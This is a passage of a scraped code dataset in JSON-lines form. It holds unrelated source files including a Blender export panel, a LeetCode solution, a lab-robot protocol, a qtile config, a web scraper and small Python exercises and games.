'INVERT'\n\n col = layout.column()\n col.scale_y = 1.5\n col.operator('ue4workspace.export_animation_mesh',icon='RENDER_ANIMATION')\n\nclass SUB_PANEL_1(ExportOptionPanel):\n bl_idname = 'UE4WORKSPACE_PT_AnimationFBXOption'\n bl_parent_id = 'UE4WORKSPACE_PT_AnimationPanel'\n bl_label = 'FBX Export Setting'\n\n def draw(self, context):\n preferences = context.preferences.addons['UE4Workspace'].preferences\n fbx_setting = preferences.animation.fbx\n self.draw_property(fbx_setting, {\n 'tab_transform': [\n ('Scale', 'global_scale'),\n ('Apply Scalings', 'apply_unit_scale'),\n ('Forward', 'axis_forward'),\n ('Up', 'axis_up'),\n ('Apply Unit', 'apply_unit_scale'),\n ('Apply Transform', 'bake_space_transform'),\n ],\n 'tab_armature': [\n ('Primary Bone Axis', 'primary_bone_axis'),\n ('Secondary Bone Axis', 'secondary_bone_axis'),\n ('Armature FBXNode Type', 'armature_nodetype'),\n ('Only Deform Bones', 'use_armature_deform_only'),\n ('Add Leaf Bones', 'add_leaf_bones'),\n ],\n 'tab_bake_animation': [\n ('Key All Bones', 'bake_anim_use_all_bones'),\n ('Force Start/End Keying', 'bake_anim_force_startend_keying'),\n ('Sampling Rate', 'bake_anim_step'),\n ('Simplify', 'bake_anim_simplify_factor'),\n ],\n })\n\nclass SUB_PANEL_2(ExportOptionPanel):\n bl_idname = 'UE4WORKSPACE_PT_AnimationUnrealEnginePanel'\n bl_parent_id = 'UE4WORKSPACE_PT_AnimationPanel'\n bl_label = 'Unreal Engine Export Setting'\n\n def draw(self, context):\n preferences = context.preferences.addons['UE4Workspace'].preferences\n unreal_engine_setting = preferences.animation.unreal_engine\n\n setting_data = {\n 'tab_animation': [\n ('Animation Length', 'animation_length'),\n ('Import Meshes in Bone Hierarchy', 'import_meshes_in_bone_hierarchy'),\n ('Frame Import Range', 'frame_import_range'),\n ('Use Default Sample Rate', 'use_default_sample_rate'),\n ('Custom Sample Rate', 'custom_sample_rate'),\n ('Import Custom Attribute', 'import_custom_attribute'),\n ('Delete Existing Custom Attribute Curves', 'delete_existing_custom_attribute_curves'),\n ('Import Bone Tracks', 'import_bone_tracks'),\n ('Set Material Curve Type', 'set_material_drive_parameter_on_custom_attribute'),\n ('Material Curve Suffixes', 'material_curve_suffixes'),\n ('Remove Redundant Keys', 'remove_redundant_keys'),\n ('Delete Existing Morph Target Curves', 'delete_existing_morph_target_curves'),\n ('Do not Import Curve With 0 Values', 'do_not_import_curve_with_zero'),\n ('Preserve Local Transform', 'preserve_local_transform'),\n ],\n 'tab_transform': [\n ('Import Translation', 'import_translation'),\n ('Import Rotation', 'import_rotation'),\n ('Import Uniform Scale', 'import_uniform_scale'),\n ],\n 'tab_misc': [\n ('Convert Scene', 'convert_scene'),\n ('Force Front XAxis', 'force_front_x_axis'),\n ('Convert Scene Unit', 'convert_scene_unit'),\n ('Override Full Name', 'override_full_name'),\n ]\n }\n\n self.draw_property(unreal_engine_setting, setting_data)\n\nlist_class_to_register = [\n ANIMATION_UL_action_list,\n OP_SelectExportAction,\n OP_AddMaterialCurveSuffix,\n OP_ClearMaterialCurveSuffixes,\n OP_RemoveMaterialCurveSuffixIndex,\n OP_EditMaterialCurveSuffix,\n OP_ExportAnimationMesh,\n PANEL,\n SUB_PANEL_1,\n SUB_PANEL_2\n]\n\ndef register():\n bpy.types.Action.is_export = bpy.props.BoolProperty(\n name='Export action',\n default=False\n )\n\n bpy.types.Object.ANIMATION_index_action = bpy.props.IntProperty(\n default=-1\n )\n\n for x in list_class_to_register:\n register_class(x)\n\ndef unregister():\n del bpy.types.Action.is_export\n del bpy.types.Object.ANIMATION_index_action\n\n for x in list_class_to_register[::-1]:\n unregister_class(x)","repo_name":"anasrar/Blender-UE4-Workspace","sub_path":"UE4Workspace/animation/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":17593,"program_lang":"python","lang":"en","doc_type":"code","stars":166,"dataset":"github-code","pt":"52"} +{"seq_id":"11607706277","text":"#\n# @lc app=leetcode id=852 lang=python3\n#\n# [852] Peak Index in a Mountain Array\n#\n\n# @lc code=start\nclass Solution(object):\n def peakIndexInMountainArray(self, arr):\n \"\"\"\n :type arr: List[int]\n :rtype: int\n \"\"\"\n\n i = 0\n j = len(arr)\n\n while i <= j:\n mid = (i + j) // 2\n\n if arr[mid - 1] < arr[mid] and arr[mid] > arr[mid + 1]:\n return mid\n\n elif arr[mid+1] < arr[mid]:\n j = mid - 1\n\n else:\n i = mid + 1\n\n return j\n\n\n# @lc code=end\n","repo_name":"aryanjain28/Striver","sub_path":"medium_leetCode/852.peak-index-in-a-mountain-array.py","file_name":"852.peak-index-in-a-mountain-array.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"1476561116","text":"# Import Opentrons modules\nfrom opentrons import labware, instruments, robot\n\n# Define labware\nplate = labware.load('corning_6_wellplate_16.8ml_flat', '1') # 6-well plate\ntip_rack_1 = labware.load('opentrons-tiprack-300ul', '2')\n\n# Define instruments\np300 = instruments.P300_Single(mount='left', tip_racks=[tip_rack_1])\n\n# Define reagents\nbuffer = ...\n\n# Define locations on the plate\ncell_locations = [well for well in plate.wells()[:6]]\n\n# Define steps for the protocol\ndef prepare_cells():\n # 1. Add buffer to each well to wash cells\n p300.pick_up_tip()\n for well in cell_locations:\n p300.transfer(200, buffer, well.top(-5), new_tip='never')\n p300.drop_tip()\n\n # 2. Fix cells with paraformaldehyde\n p300.pick_up_tip()\n for well in cell_locations:\n p300.transfer(100, paraformaldehyde, well.top(-10), new_tip='never')\n p300.drop_tip()\n\n # 3. Permeabilize cells with Triton X-100\n p300.pick_up_tip()\n for well in cell_locations:\n p300.transfer(100, triton_x_100, well.top(-10), new_tip='never')\n p300.drop_tip()\n\n # 4. Block cells with BSA\n p300.pick_up_tip()\n for well in cell_locations:\n p300.transfer(100, bsa, well.top(-10), new_tip='never')\n p300.drop_tip()\n\n # 5. Stain cells with Lysotracker\n p300.pick_up_tip()\n for well in cell_locations:\n p300.transfer(100, lysotracker, well.top(-10), new_tip='never')\n p300.drop_tip()\n\nprepare_cells() # run the protocol\n","repo_name":"labauto/Inagaki_2023_GPT4OT2","sub_path":"question_and_answer/tmp/tmp_278bdcf9-b6b9-4114-a225-fc42912f7a42.py","file_name":"tmp_278bdcf9-b6b9-4114-a225-fc42912f7a42.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"39814110161","text":"class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass CircularLinkedList:\n def __init__(self):\n self.head = None\n\n def __len__(self):\n cur = self.head\n count = 0\n\n while cur:\n count += 1\n cur = cur.next\n if cur == self.head:\n break\n\n return count\n\n def prepend(self, data):\n new_node = Node(data)\n new_node.next = self.head\n\n if not self.head:\n new_node.next = new_node\n else:\n cur = self.head\n\n while cur.next != self.head:\n cur = cur.next\n cur.next = new_node\n\n self.head = new_node\n\n def append(self, data):\n if not self.head: # No elements in the list\n self.head = Node(data)\n self.head.next = self.head\n else:\n new_node = Node(data)\n curr = self.head\n\n while curr.next != self.head: # Not at the end yet(Not last node)\n curr = curr.next\n\n curr.next = new_node\n new_node.next = self.head\n\n def print_list(self):\n curr = self.head\n\n while curr:\n print(curr.data, end=' ')\n\n curr = curr.next\n if curr == self.head:\n break\n\n\ncllist = CircularLinkedList()\ncllist.append(\"C\")\ncllist.append(\"D\")\ncllist.prepend(\"B\")\ncllist.prepend(\"A\")\ncllist.print_list()\n","repo_name":"ErickMwazonga/sifu","sub_path":"linked_list/circular/insertions.py","file_name":"insertions.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"52"} +{"seq_id":"7569526789","text":"from rediz.client import Rediz\nimport json\nimport time\nimport sys\nfrom rediz.rediz_test_config import REDIZ_TEST_CONFIG\nimport numpy as np\nBELLEHOOD_BAT = REDIZ_TEST_CONFIG['BELLEHOOD_BAT']\n# rm tmp*.json; pip install -e . ; python -m pytest tests/test_memory_scalar.py ; cat tmp_memory_scalar.json; cat tmp_error_log.json\n\ndef dump(obj,name=\"tmp_memory_scalar.json\"): # Debugging\n if REDIZ_TEST_CONFIG[\"DUMP\"]:\n json.dump(obj,open(name,\"w\"))\n\ndef test_real():\n rdz = Rediz(**REDIZ_TEST_CONFIG)\n rdz.client.flushall()\n time.sleep(0.15)\n do_scalar(rdz)\n\ndef do_scalar(rdz):\n NAME = 'NAME-64c-fe9.json'\n WRITE_KEY = BELLEHOOD_BAT\n MODEL_KEYS = [ k[0] for k in REDIZ_TEST_CONFIG['TESTING_KEYS'][:3]]\n PER_SECOND = 3\n NUM = 5*PER_SECOND\n rdz.client.flushall()\n rdz.delete(name=NAME,write_key=WRITE_KEY)\n raw_size = 4*NUM\n for _ in range(NUM):\n time.sleep(1/PER_SECOND-0.05*len(MODEL_KEYS))\n scalar_data = np.random.randn()\n sz = sys.getsizeof(scalar_data)\n assert rdz.is_scalar_value(scalar_data)\n assert rdz.is_small_value(scalar_data)\n set_res = rdz.set( name = NAME, value = scalar_data, write_key=WRITE_KEY, budget=1 )\n if set_res is None:\n exec_log = rdz.get_errors(write_key=WRITE_KEY)\n dump(exec_log,\"tmp_error_log\")\n set_res = rdz.set(name=NAME, value=scalar_data, write_key=WRITE_KEY, budget=1)\n assert set_res is not None\n value_back = rdz.get( name= NAME )\n assert rdz.is_scalar_value( value_back )\n rdz.admin_promises()\n rdz.admin_garbage_collection()\n for model_key in MODEL_KEYS:\n predict_values = list(np.random.randn(rdz.NUM_PREDICTIONS))\n time.sleep(0.05)\n rdz.set_scenarios(name=NAME, values=predict_values, write_key=model_key, delay=rdz.DELAYS[0])\n\n\n memory_report = rdz._size(NAME,with_report=True)\n total = memory_report[\"total\"]\n memory_report.update({\"raw_size\":raw_size,\"ratio\":total/raw_size})\n rdz.delete(name=NAME, write_key=WRITE_KEY)\n\n for _ in range(1):\n rdz.admin_garbage_collection()\n time.sleep(0.1)\n\n dump(memory_report)\n\n keys = rdz.client.keys()\n dump(keys, \"tmp_keys_before.json\")\n\n for _ in range(1):\n time.sleep(0.15)\n rdz.admin_garbage_collection()\n\n keys = dict( [ (k,rdz.client.ttl(k)) for k in rdz.client.keys()] )\n dump(keys,\"tmp_keys_after.json\")","repo_name":"microprediction/rediz","sub_path":"tests/test_memory_scalar.py","file_name":"test_memory_scalar.py","file_ext":"py","file_size_in_byte":2475,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"15107334584","text":"from abc import ABC, abstractmethod\nimport numpy as np\nimport torch\nfrom torch.nn import CrossEntropyLoss\nfrom torch.optim import Adam, lr_scheduler\nfrom pytorch_lightning import LightningModule\nfrom utils_model.lmcl import LMCosineLoss\n\n\nclass BaseTrain(LightningModule, ABC):\n def __init__(self, net, hparams, log_file):\n super().__init__()\n self.net = net\n self.hparams = hparams\n self.log_file = log_file\n\n def configure_optimizers(self):\n ''' Define optimizer and scheduler for learning rate adjustment '''\n optimizer = Adam(self.net.parameters(), lr=self.hparams.init_lr,\n weight_decay=self.hparams.weight_decay)\n if self.hparams.lr_sched:\n scheduler = lr_scheduler.MultiStepLR(\n optimizer, milestones=self.hparams.lr_steps\n )\n return [optimizer], [scheduler]\n else:\n return [optimizer]\n\n def on_epoch_start(self):\n ''' Print epoch number at the start of each epoch '''\n with open(self.log_file, \"a\") as f:\n print(\"[*] Epoch %d...\" % (self.current_epoch+1), file=f)\n\n def training_epoch_end(self, train_outs):\n ''' Print/Log training loss and metrics at the end of each epoch '''\n self._shared_epoch_end(train_outs, \"train\")\n\n def validation_epoch_end(self, valid_outs):\n ''' Print/Log validation loss and metrics at the end of each epoch '''\n self._shared_epoch_end(valid_outs, \"valid\")\n\n @abstractmethod\n def _shared_epoch_end(self, outputs, set_name):\n pass\n\n def _print_file_epoch(self, set_name, tag, metric, metric_std=None):\n ''' Print metric (avg/std) to file at the end of each epoch '''\n with open(self.log_file, \"a\") as f:\n if metric_std is None:\n print(\"--- Average %s %s: %.4f\" % \\\n (set_name, tag, metric), file=f)\n else:\n print(\"--- Average %s %s: %.4f +/- %.4f\" % \\\n (set_name, tag, metric, metric_std), file=f)\n\n def _log_tb_epoch(self, set_name, tag, metric):\n ''' Log metric to Tensorboard at the end of each epoch '''\n self.logger.experiment.add_scalar(\n \"epoch_%s/%s_%s\" % (set_name, set_name, tag),\n metric, global_step=self.current_epoch+1\n )\n\n\nclass MultiClassTrain(BaseTrain):\n def __init__(self, net, hparams, log_file):\n super().__init__(net, hparams, log_file)\n self.net = net\n self.hparams = hparams\n self.log_file = log_file\n self.criterion = (LMCosineLoss(margin=self.hparams.loss_margin,\n scale=self.hparams.loss_scale)\n if (\"lmcl\" in self.hparams.loss_type)\n else CrossEntropyLoss())\n\n def _shared_epoch_end(self, outputs, set_name):\n ''' Print/Log the average loss and accuracy (top 1 and top 5) values\n at each epoch '''\n for tag in [\"loss\", \"acc\", \"acc_top5\"]:\n metric = torch.Tensor([item[tag] for item in outputs]).mean()\n # Print in file\n self._print_file_epoch(set_name, tag=\"class \"+tag, metric=metric)\n # Log to Tensorboard\n if tag != \"acc_top5\":\n self._log_tb_epoch(set_name, tag=\"class_\"+tag, metric=metric)\n\n def shared_step(self, batch):\n ''' Perform a shared forward step, calculate multiclass loss and\n classification accuracy (top 1 and top 5) '''\n labels = batch.y\n # Forward pass\n _, outputs = self.net(batch)\n # Calculate loss\n loss = self.criterion(outputs, labels)\n # Get classification accuracy\n preds = torch.argmax(outputs, dim=1)\n accuracy = torch.mean((preds == labels).float())\n # Get top 5 accuracy\n _, preds_top5 = torch.topk(outputs, k=5)\n accuracy_top5 = torch.mean(\n (preds_top5 == labels.unsqueeze(1)).any(1).float()\n )\n return loss, accuracy, accuracy_top5\n\n def training_step(self, batch, _):\n ''' Perform a training step '''\n loss, accuracy, accuracy_top5 = self.shared_step(batch)\n # Log iteration\n self.log_dict({\"step_train_class_loss\": loss,\n \"step_train_class_acc\": accuracy})\n return {\"loss\": loss, \"acc\": accuracy, \"acc_top5\": accuracy_top5}\n\n def validation_step(self, batch, _):\n ''' Perform a validation step '''\n loss, accuracy, accuracy_top5 = self.shared_step(batch)\n return {\"loss\": loss, \"acc\": accuracy, \"acc_top5\": accuracy_top5}\n\n def test_step(self, sample, _):\n ''' Perform a test step, extract embeddings/predictions '''\n # Get sample identifier as string\n name = \"\".join(sample.name)\n # Forward pass\n embeddings, outputs = self.net(sample)\n _, predictions = torch.topk(outputs, k=5) # get top 5 predictions\n # Return output embedding vector\n return {\"name\": name, \"emb\": embeddings.cpu().numpy().flatten(),\n \"pred\": predictions.cpu().numpy().flatten(),\n \"pred_logits\": outputs.cpu().numpy().flatten()}\n\n def test_epoch_end(self, test_outs):\n ''' Generate the test embeddings/predictions dictionaries '''\n self.embeddings = {item[\"name\"]: item[\"emb\"] for item in test_outs}\n self.predictions = {item[\"name\"]: item[\"pred\"] for item in test_outs}\n self.pred_logits = {item[\"name\"]: item[\"pred_logits\"] for item in test_outs}\n","repo_name":"amelvim/FoldEmbeddings","sub_path":"scripts/lightning/trainers.py","file_name":"trainers.py","file_ext":"py","file_size_in_byte":5550,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"47413874038","text":"from django.forms import ModelForm\nfrom .models import Project\nfrom django import forms\nclass ProjectForm(ModelForm):\n class Meta:\n model = Project\n fields = ['title','featured_image', 'description', 'demo_link', 'source_link', 'tags']\n widgets = {\n # 'tags': forms.CheckboxSelectMultiple(),\n 'title': forms.TextInput(attrs={'class': 'form-control'}),\n 'featured_image': forms.Media(),\n 'description': forms.TextInput(attrs={'class': 'form-control'}),\n 'demo_link': forms.TextInput(attrs={'class': 'form-control'}),\n 'source_link': forms.TextInput(attrs={'class': 'form-control'}),\n 'tags': forms.CheckboxSelectMultiple(),\n \n \n \n \n \n } \n \n # def __init__(self, *args, **kwargs):\n # super(ProjectForm, self).__init__(*args, **kwargs)\n \n # you can repeat for all form fields \n # self.fields['title'].widget.attrs.update({'class': 'input', 'placeholder': 'Add Title'})\n # for name, field in self.fields.items():\n # field.widget.attrs.update({'class': 'input'})","repo_name":"GodfredAsa/django-portfolio","sub_path":"portfolio/projects/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"19631330859","text":"import random\r\ncount=10\r\ni=['s','w','g']\r\nComputerWinCount=0\r\nYourWinCount=0\r\nwhile (count !=0):\r\n swg=str(input(\"Enter 's' or 'w' or 'g' :\"))\r\n if swg.lower() in i:\r\n computerChoice= random.choice(i)\r\n count -=1\r\n if swg == computerChoice:\r\n print(\"It's Tie\")\r\n elif computerChoice == 's' and swg.lower() == 'w':\r\n print(f\"Computer Won with choice {computerChoice}\")\r\n ComputerWinCount +=1\r\n elif computerChoice =='w' and swg.lower() == 'g':\r\n print(f\"Computer Won with choice {computerChoice}\")\r\n ComputerWinCount +=1\r\n elif computerChoice == 'g' and swg.lower() == 's':\r\n print(f\"Computer Won with choice {computerChoice}\")\r\n ComputerWinCount +=1\r\n else:\r\n print(f\"You Won and computer choice was {computerChoice}\")\r\n YourWinCount +=1\r\n else:\r\n print(\"You have entered wrong word :\", swg)\r\nif ComputerWinCount>YourWinCount:\r\n print(\"Over all Computer Won\")\r\nelse:\r\n print(\"Over all You Won\") \r\n\r\n \r\n","repo_name":"Namrata14Pal/Snake-Water-Gun","sub_path":"snake-water-gun.py","file_name":"snake-water-gun.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"16653186129","text":"import bs4.element\nimport requests\nfrom bs4 import BeautifulSoup, SoupStrainer\n\nURL = \"https://news.ycombinator.com/newest\"\nRESULTS = []\n\n\ndef get_story_rank(\n rank_element: bs4.element.ResultSet,\n) -> str:\n \"\"\"Finds and returns story rank\"\"\"\n return rank_element.find(\"span\", attrs={\"class\": \"rank\"}).text\n\n\ndef get_story_title(\n title_element: bs4.element.ResultSet\n) -> str:\n \"\"\"Finds and returns story title\"\"\"\n return title_element.find(\"a\").text\n\n\ndef get_story_points(\n metrics_element: bs4.element.ResultSet\n) -> str:\n \"\"\"Finds and returns story points\"\"\"\n return metrics_element.find(\"span\", attrs={\"class\": \"score\"}).text\n\n\ndef get_story_age(\n metrics_element: bs4.element.ResultSet\n) -> str:\n \"\"\"Finds and returns story age\"\"\"\n return metrics_element.find(\"span\", attrs={\"class\": \"age\"}).text\n\n\ndef run() -> None:\n \"\"\"Parses the html page.\n Prints the details of top 10 stories\"\"\"\n try:\n page = requests.get(URL)\n # We only want to parse td\n only_td = SoupStrainer('td')\n soup = BeautifulSoup(page.content, \"html.parser\", parse_only=only_td)\n # Get the title of the story\n td_title = soup.find_all(\"td\", attrs={\"class\": \"title\"})\n # Get the rank of the story\n td_rank = soup.find_all(\"td\", attrs={\"class\": \"title\", \"align\": \"right\"})\n # Get the metrics of the story\n td_metrics = soup.find_all(\"td\", attrs={\"class\": \"subtext\"})\n # Some titles have rank td in them,\n # We need only the titles\n td_title_only = [title for title in td_title if title not in td_rank]\n\n for i in range(10):\n story_dict = {\n \"rank\": get_story_rank(td_rank[i]),\n \"title\": get_story_title(td_title_only[i]),\n \"points\": get_story_points(td_metrics[i]),\n \"age\": get_story_age(td_metrics[i])\n }\n RESULTS.append(story_dict)\n [print(story) for story in RESULTS]\n except ConnectionError as e:\n print(f\"An error happened while connecting to the URL.\\n {e}\")\n\n\nif __name__ == '__main__':\n run()\n","repo_name":"mohammadasim/web-scrapper","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"35653315000","text":"\"\"\"Задача 10: На столе лежат n монеток. Некоторые из них лежат вверх решкой, \nа некоторые – гербом. Определите минимальное число монеток, которые нужно перевернуть,\nчтобы все монетки были повернуты вверх одной и той же стороной. \nВыведите минимальное количество монет, которые нужно перевернуть. \nСтороны монеты вводятся построчно или в одну строку, если умеете.\"\"\"\n\nn = int(input(\"Введите количество монет: \"))\ncount_r = 0\ncount_g = 0\nfor i in range(n):\n coin = input(f\"Введите сторону {i+1} монеты (r - решка, g - герб): \")\n if coin == \"r\":\n count_r += 1\n if coin == \"g\":\n count_g += 1\nprint(\"Mинимальное количество монет, которые нужно перевернуть: \")\nif count_r < count_g:\n print(count_r)\nelse: print(count_g)","repo_name":"Aesonse/Python_homework_for_seminar-2","sub_path":"task_10.py","file_name":"task_10.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"45908208316","text":"import os\nfrom libqtile.config import Screen\nfrom libqtile import layout, bar, widget, hook\nfrom qtile_extras.widget.decorations import RectDecoration\nfrom qtile_extras import widget\nfrom colours import *\n\n\ntheme = \"ashes\"\n\nif theme == \"ashes\":\n theme = ashes[0]\nelif theme == \"latte\":\n theme = latte[0]\nelif theme == \"everforest\":\n theme = everforest[0]\nelif theme == \"palenight\":\n theme = palenight[0]\nelif theme == \"frappe\":\n theme = frappe[0]\nelif theme == \"mocha\":\n theme = mocha[0]\nelif theme == \"macchiato\":\n theme = macchiato[0]\nelif theme == \"dracula\":\n theme = dracula[0]\nelif theme == \"one\":\n theme = one[0]\nelif theme == \"nord\":\n theme = nord[0]\n\nrad = 7\ndecor = {\n \"decorations\": [\n RectDecoration(\n use_widget_background=True,\n radius=rad,\n filled=True,\n padding_y=8,\n )\n ],\n \"padding\": 10,\n}\ndecor1 = {\n \"decorations\": [\n RectDecoration(\n use_widget_background=True,\n radius=[rad, 0, 0, rad],\n filled=True,\n padding_y=8,\n )\n ],\n \"padding\": 10,\n}\ndecor2 = {\n \"decorations\": [\n RectDecoration(\n use_widget_background=True,\n radius=[0, rad, rad, 0],\n filled=True,\n padding_y=8,\n )\n ],\n \"padding\": 10,\n}\n\n\nxx = 22\nxf = \"jetbrainsmono nerd font bold\"\ndefault = [\n widget.TextBox(\n foreground=theme[\"teal\"],\n text=\" |\",\n font=xf,\n ),\n widget.GroupBox(\n font=\"operator mono\",\n fontsize=xx,\n margin_y=4,\n margin_x=5,\n padding_y=3,\n padding_x=4,\n borderwidth=8,\n inactive=theme[\"green\"],\n active=theme[\"red\"],\n rounded=True,\n urgent_alert_method=\"block\",\n urgent_text=theme[\"blood\"],\n highlight_color=theme[\"yellow\"],\n highlight_method=\"block\",\n this_current_screen_border=theme[\"red\"],\n block_highlight_text_color=theme[\"black\"],\n ),\n widget.Sep(\n padding=2,\n linewidth=0,\n ),\n widget.CurrentLayoutIcon(\n scale=0.4,\n custom_icon_paths=[os.path.expanduser(\"~/.config/qtile/icons\")],\n ),\n\n widget.Spacer(),\n\n widget.Systray(\n icon_size=20,\n padding=4,\n ),\n widget.TextBox(\n foreground=theme[\"red\"],\n text=\"|\",\n font=xf,\n ),\n widget.CPU(\n background=theme[\"red\"],\n foreground=theme[\"black\"],\n format=' {load_percent}%',\n font=xf,\n fontsize=xx,\n **decor,\n ),\n widget.TextBox(\n foreground=theme[\"yellow\"],\n text=\"|\",\n font=xf,\n ),\n widget.Memory(\n font=xf,\n fontsize=xx,\n background=theme[\"yellow\"],\n foreground=theme[\"black\"],\n measure_mem='G',\n measure_swap='G',\n format=' {MemUsed: .2f} GB',\n **decor,\n ),\n widget.TextBox(\n foreground=theme[\"magenta\"],\n text=\"|\",\n font=xf,\n ),\n widget.Memory(\n measure_mem='G',\n font=xf,\n fontsize=xx,\n foreground=theme[\"black\"],\n background=theme[\"magenta\"],\n measure_swap='G',\n format='{SwapUsed: .2f} GB',\n **decor,\n ),\n widget.TextBox(\n foreground=theme[\"green\"],\n text=\"|\",\n font=xf,\n ),\n widget.Volume(\n mouse_callbacks={'Button3': lambda: qtile.cmd_spawn(\"pavucontrol\")},\n background=theme[\"green\"],\n foreground=theme[\"black\"],\n update_interval=0.01,\n font=xf,\n fontsize=xx,\n **decor,\n ),\n widget.TextBox(\n foreground=theme[\"teal\"],\n text=\"|\",\n font=xf,\n ),\n widget.Clock(\n foreground=theme[\"black\"],\n background=theme[\"teal\"],\n format=' %d %B, %a',\n font=xf,\n fontsize=xx,\n **decor,\n ),\n widget.TextBox(\n foreground=theme[\"violet\"],\n text=\"|\",\n font=xf,\n ),\n widget.Clock(\n foreground=theme[\"black\"],\n background=theme[\"violet\"],\n font=xf,\n fontsize=xx,\n format=' %I:%M %p',\n **decor,\n ),\n widget.TextBox(\n foreground=theme[\"teal\"],\n text=\"|\",\n font=xf,\n ),\n]\nif len(os.listdir(\"/sys/class/power_supply\")) == 0:\n default.extend(\n [\n widget.CapsNumLockIndicator(\n fontsize=xx,\n font=xf,\n foreground=theme[\"black\"],\n background=theme[\"teal\"],\n **decor,\n ),\n widget.TextBox(\n foreground=theme[\"teal\"],\n text=\"|\",\n font=xf,\n ),\n ]\n )\nelse:\n default.extend(\n [\n widget.UPowerWidget(\n font=xf,\n battery_width=27,\n battery_height=14,\n fontsize=xx,\n percentage_low=0.5,\n percentage_critical=0.3,\n fill_critical=\"#ff0000\",\n fill_charge=theme[\"green\"],\n fill_low=theme[\"yellow\"],\n fill_normal=theme[\"black\"],\n background=theme[\"blue\"],\n border_colour=theme[\"black\"],\n border_critical_colour=theme[\"black\"],\n border_charge_colour=theme[\"black\"],\n text_charging=\"\",\n text_discharging=\"\",\n text_displaytime=\"\",\n margin=10,\n **decor1,\n ),\n widget.Battery(\n fontsize=xx,\n font=xf,\n low_percentage=0.25,\n low_background=theme[\"blue\"],\n low_foreground=theme[\"black\"],\n foreground=theme[\"black\"],\n background=theme[\"blue\"],\n charge_char='↑',\n discharge_char='',\n update_interval=1,\n format='{percent:2.0%}{char}',\n **decor2,\n ),\n widget.TextBox(\n foreground=theme[\"teal\"],\n text=\"|\",\n font=xf,\n ),\n ]\n )\n\nscreens = [\n Screen(\n top=bar.Bar(\n default,\n 44,\n # opacity=0.9,\n margin=[8,8,2,8],\n background=theme[\"black\"],\n foreground=theme[\"zero\"],\n ),\n ),\n]\n","repo_name":"biscuitrescue/dotfiles","sub_path":"config/qtile/themes/bubble.py","file_name":"bubble.py","file_ext":"py","file_size_in_byte":6418,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"29205492778","text":"#인트로\r\nprint('으으... 여긴 어디지?')\r\nprint('조금 전까지 가족들과 함께 있었는데... 커다란 손이 갑자기 날 덮친 후 의식을 잃었다.')\r\nprint('주변이 어두워서 잘 보이지 않는다. 대신 온몸에 한기가 느껴진다.(엔터를 입력해서 진행하세요)')\r\ninput()\r\nprint('나는 누구...?')\r\nprint('높은 곳에서 떨어졌는지 몸이 물러졌다.')\r\nprint('두통 때문에 아무것도 기억나지 않는다.')\r\ninput()\r\n\r\n#첫번째 조사\r\nwhile True:\r\n direction = input('일단 주변을 둘러볼까?(위, 아래, 왼쪽, 오른쪽을 한번씩 순서대로 입력): ')\r\n if direction == '위' :\r\n print('> 춥다. 히터가 고장 난 건가?')\r\n input()\r\n continue\r\n elif direction == '아래':\r\n print('> 바닥에 정체를 알 수 없는 끈적한 액체가 가득하다. 저 캔에서 나온 건가?')\r\n input()\r\n continue\r\n elif direction == '왼쪽':\r\n print('> 추위 때문인지 벽에 성에가 가득하다.')\r\n input()\r\n continue\r\n elif direction == '오른쪽':\r\n print('> 깜짝아!!! 저 멀리 보이는 얼어붙은 물체는 설마...... 시체?')\r\n break\r\n else:\r\n continue\r\ninput()\r\nprint('잘은 모르겠지만 일단 여기서 탈출해야겠어.')\r\ninput()\r\n\r\n#물건 배열하기\r\ngrocery = ['상자', '사과박스']\r\n\r\ninput('참치캔, 사과 박스, 정체 모를 기름에 젖은 상자, 터진 포대자루 그리고 하얗게 성에가 낀 팩이 있다.')\r\ninput('물건이 가득해서 이 앞으로는 지나갈 수 없을 것 같다. 물건을 좀 정리해야 할 것 같은데...')\r\ninput()\r\ninput('[참치캔, 상자, 포대자루, 사과박스, 팩]순으로 배열해야 지나갈 수 있을 것 같다.')\r\nprint('현재 상태: [상자, 사과박스]')\r\ninput()\r\nwhile True:\r\n tuna = input('참치캔을 몇 번째에 넣을까?(숫자만 입력): ')\r\n if tuna == '1':\r\n grocery.insert(0, '참치캔')\r\n print(grocery)\r\n break\r\n else:\r\n print('> 공간이 없다...') \r\n input()\r\n continue\r\ninput()\r\nwhile True:\r\n sack = input('포대자루를 몇 번째에 넣을까?(숫자만 입력): ')\r\n if sack == '3':\r\n grocery.insert(2, '포대자루')\r\n print(grocery)\r\n print('> 거의 다 왔어!')\r\n break\r\n else:\r\n print('> 공간이 없다...')\r\n input()\r\n continue\r\ninput()\r\nwhile True:\r\n mask = input('팩을 몇 번째에 넣을까?(숫자만 입력): ')\r\n if mask == '5':\r\n grocery.insert(4, '팩')\r\n print(grocery)\r\n print('> 됐다! 지나갈 수 있겠어!')\r\n break\r\n else:\r\n print('> 공간이 없다...')\r\n input()\r\n continue\r\ninput()\r\n\r\n#수상한 메모\r\nwhile True:\r\n memo = input('길을 가다가 무엇인가를 발견했다. 확인해볼까?(그래, 아니 중 선택 입력): ')\r\n if memo == '그래' :\r\n input('> 메모를 발견했다. 글자가 흐려져서 잘 보이지 않지만...')\r\n print()\r\n print()\r\n print(' 영 ? 증 ')\r\n print()\r\n print(' 2021년 11월 